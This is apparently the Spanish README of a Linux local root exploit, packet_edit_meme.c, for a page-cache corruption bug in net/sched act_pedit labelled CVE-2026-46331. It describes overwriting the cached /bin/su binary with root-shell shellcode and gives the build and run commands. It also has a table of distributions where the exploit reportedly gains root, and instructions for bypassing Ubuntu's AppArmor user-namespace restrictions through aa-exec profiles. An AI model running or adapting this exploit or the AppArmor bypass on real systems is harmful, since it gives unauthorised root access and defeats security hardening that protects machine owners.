sgkdev/packet_edit_memePACKET_EDIT_MEME.c (también conocido como CVE-2026-46331): otra pesadilla de envenenamiento de caché de páginas
net/sched act_pedit corrupción parcial de la caché de páginas por COW (culpable 899ee91156e5,
presente v5.18 .. corregido v7.1-rc7). packet_edit_meme.c lo convierte en root local
sin privilegios: un hijo con userns CAP_NET_ADMIN sobrescribe la entrada ELF en caché de
/bin/su (setuid root) con el shellcode setgid(0)+setuid(0)+execve("/bin/sh").
make
./packet_edit_meme
./packet_edit_meme --ubuntu # AppArmor-gated Ubuntu: aa-exec bypass first
| Distribución | Kernel | Flag | Resultado |
|---|---|---|---|
| RHEL 10.0 | 6.12.0-228.el10 | (ninguno) | ROOT |
| Debian 13 trixie | 6.12.90+deb13.1 | (ninguno) | ROOT |
| Ubuntu 24.04.4 | 6.17.0-22 | --ubuntu | ROOT |
| Ubuntu 26.04 | 7.0.0-14-generic | --ubuntu | FAIL |
RHEL / Debian: el userns sin privilegios está abierto por defecto, no se necesita flag. RHEL no incluye
cls_basic / em_meta, por lo que la primitiva recurre automáticamente a matchall.
Ubuntu deniega el userns sin privilegios no confinado mediante dos sysctls:
kernel.apparmor_restrict_unprivileged_userns # denies unconfined userns creation
kernel.apparmor_restrict_unprivileged_unconfined # forces unconfined change_profile to STACK,
# so an aa-exec permissive profile cannot
# shed the userns restriction
--ubuntu se re-ejecuta mediante aa-exec -p {trinity,chrome,flatpak} (perfiles que incluyen
una regla userns,).
24.04.4 : userns=1, unconfined=0 -> aa-exec bypass WORKS
26.04 : userns=1, unconfined=1 -> aa-exec bypass CLOSED